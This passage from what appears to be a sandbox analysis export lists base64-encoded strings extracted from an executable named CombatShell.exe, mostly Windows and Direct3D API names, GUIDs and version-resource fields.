Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRwSDtEJHhySA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRwSDtEJHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJFh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCR0ZjtEJFZ8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRYSDtEJGB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZDBmMWE1YzYtZmM0My00OGFlLTk5YmYtZWZiMWMzOGJlOWQx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2hlY2tFeGNsdXNpdmVPd25lcnNoaXA=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2hlY2tNb25pdG9yUG93ZXJTdGF0ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2hlY2tPY2NsdXNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ2xvc2VBZGFwdGVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlQWxsb2NhdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlRENGcm9tTWVtb3J5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlRGV2aWNl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlT3ZlcmxheQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UQ3JlYXRlU3luY2hyb25pemF0aW9uT2JqZWN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveUFsbG9jYXRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveURDRnJvbU1lbW9yeQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveURldmljZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveU92ZXJsYXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URGVzdHJveVN5bmNocm9uaXphdGlvbk9iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URXNjYXBl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01URmxpcE92ZXJsYXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0Q29udGV4dFNjaGVkdWxpbmdQcmlvcml0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0RGV2aWNlU3RhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0RGlzcGxheU1vZGVMaXN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0TXVsdGlzYW1wbGVNZXRob2RMaXN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0UHJvY2Vzc1NjaGVkdWxpbmdQcmlvcml0eUNsYXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0U2NhbkxpbmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0U2hhcmVkUHJpbWFyeUhhbmRsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01USW52YWxpZGF0ZUFjdGl2ZVZpZFBu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UTG9jaw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlbkFkYXB0ZXJGcm9tRGV2aWNlTmFtZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlbkFkYXB0ZXJGcm9tR2RpRGlzcGxheU5hbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlbkFkYXB0ZXJGcm9tSGRj","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UT3BlblJlc291cmNl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUG9sbERpc3BsYXlDaGlsZHJlbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUHJlc2VudA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlBZGFwdGVySW5mbw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlBbGxvY2F0aW9uUmVzaWRlbmN5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlSZXNvdXJjZUluZm8=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUmVsZWFzZVByb2Nlc3NWaWRQblNvdXJjZU93bmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUmVuZGVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0QWxsb2NhdGlvblByaW9yaXR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0Q29udGV4dFNjaGVkdWxpbmdQcmlvcml0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0RGlzcGxheU1vZGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0RGlzcGxheVByaXZhdGVEcml2ZXJGb3JtYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0R2FtbWFSYW1w","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0UHJvY2Vzc1NjaGVkdWxpbmdQcmlvcml0eUNsYXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0UXVldWVkTGltaXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0VmlkUG5Tb3VyY2VPd25lcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2hhcmVkUHJpbWFyeUxvY2tOb3RpZmljYXRpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2hhcmVkUHJpbWFyeVVuTG9ja05vdGlmaWNhdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2lnbmFsU3luY2hyb25pemF0aW9uT2JqZWN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UVW5sb2Nr","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UVXBkYXRlT3ZlcmxheQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UV2FpdEZvclN5bmNocm9uaXphdGlvbk9iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UV2FpdEZvclZlcnRpY2FsQmxhbmtFdmVudA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVjcnlwdE1lc3NhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdEFjY2Vzc1Blcm1pc3Npb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmV2luZG93UHJvY1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlQ3JpdGljYWxTZWN0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlRmlsZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlU2VjdXJpdHlDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVzY3JpYmVQaXhlbEZvcm1hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzdHJveUljb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzdHJveVdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGV2aWNlSW9Db250cm9s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlhZ0xldmVs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlhZ01hdGNoQW55TWFzaw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUF1dG9GbHVzaFByb2Nlc3NOYW1lTGlzdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUNBTmFtZUNvbnN0cmFpbnRz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU1hbmRhdG9yeUJhc2ljQ29uc3RyYWludHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU1ldGFGaWxlcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVVuc3VwcG9ydGVkQ3JpdGljYWxFeHRlbnNpb25z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWxsb3dlZENlcnRFbmNvZGVkQ3Rs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWxsb3dlZENlcnRMYXN0U3luY1RpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWxsb3dlZENlcnRTeW5jRGVsdGFUaW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzY29ubmVjdE5hbWVkUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGF0Y2hNZXNzYWdlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"REpNUk1ETUNXQ1BQVlNTU0RNVkhWV1pDRA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ0Ryb3BFeHRlbnNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ0ZpbmlzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1F1ZXJ5RmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHJpdmVyYWxwaGFfNTQ5LmV4ZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVyVmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2Q29weUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2Q3JlYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2Q3JlYXRlTGF5ZXJDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVsZXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVzY3JpYmVMYXllclBsYW5l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVzY3JpYmVQaXhlbEZvcm1hdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2R2V0TGF5ZXJQYWxldHRlRW50cmllcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2UHJlc2VudEJ1ZmZlcnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2UmVhbGl6ZUxheWVyUGFsZXR0ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2UmVsZWFzZUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0Q2FsbGJhY2tQcm9jcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0Q29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0TGF5ZXJQYWxldHRlRW50cmllcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2V0UGl4ZWxGb3JtYXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U2hhcmVMaXN0cw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U3dhcEJ1ZmZlcnM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U3dhcExheWVyQnVmZmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2U3dhcE11bHRpcGxlQnVmZmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2VmFsaWRhdGVWZXJzaW9u","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHVwbGljYXRlSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHVwbGljYXRlVG9rZW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHdtRW5hYmxlQmx1ckJlaGluZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHpEekRabmpOak5KbGpMakxKZHo=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZUFjY2Vzc0tpdEFkYXB0ZXI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZWJhZGY3NzUtNDhhYS00YmYzLThmOGUtZWM2OGQxMTNjOThl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW1wdHlDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQW5jaG9yQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTFVB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTWVudUl0ZW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTm9uQ2xpZW50RHBpU2NhbGluZw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlUGVyUHJvY2Vzc1N5c3RlbURQSQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlU3RyaWN0Q2hlY2tzRmxhZ3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlVGxzRXh0ZXJuYWxBbGdvcml0aG1z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlV2Vha1NpZ25hdHVyZUZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5jcnlwdE1lc3NhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW50ZXJDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW51bUNsaXBib2FyZEZvcm1hdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW51bURpc3BsYXlNb25pdG9ycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW51bURpc3BsYXlTZXR0aW5nc0V4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RXZlcnlvbmVJbmNsdWRlc0Fub255bW91cw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RXhpdFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0FSQl90ZXh0dXJlX3Jn","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0FUSV9mcmFnbWVudF9zaGFkZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0VYVF9mcmFtZWJ1ZmZlcl9tdWx0aXNhbXBsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX05WX3ByaW1pdGl2ZV9yZXN0YXJ0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RXh0ZW5zaW9uTWF4WWVhcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjA1NTg0MzgtZjU2YS01OTg3LTQ3ZGEtMDQwY2E3NWFlZjA1","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjI1YmNkMmUtMjY5MC01NWRjLTNiYzQtMDdiNjViMWI0MWM5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjNhNzFhNGItNjExOC00MjU3LThjY2ItMzlhMzNiYTA1OWQ0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjtEJF5+a0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUZsYWdz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUZsYWdzRXg=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZUZsYWdzRXhNYXNr","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVN1YnR5cGU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVRpbWVUb1N5c3RlbVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZENsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZEZpcnN0RmlsZUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZE5leHRGaWxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rmlwc0FsZ29yaXRobVBvbGljeQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmxhc2hXaW5kb3dFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmxzR2V0VmFsdWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmxzU2V0VmFsdWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hGaWxlQnVmZmVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hQcm9jZXNzV3JpdGVCdWZmZXJz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hWaWV3T2ZGaWxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Zm5mcGZrYmthbWE=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rm5GcEZrY2FsR0JNQktCa0FtQQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rm9ybWF0TWVzc2FnZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9ybWF0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZWFkZHJpbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUNvbnNvbGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUNvbnRleHRCdWZmZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUNyZWRlbnRpYWxzSGFuZGxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUVudmlyb25tZW50U3RyaW5nc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUxpYnJhcnk=","type":"Ansi","source":"Memory/File 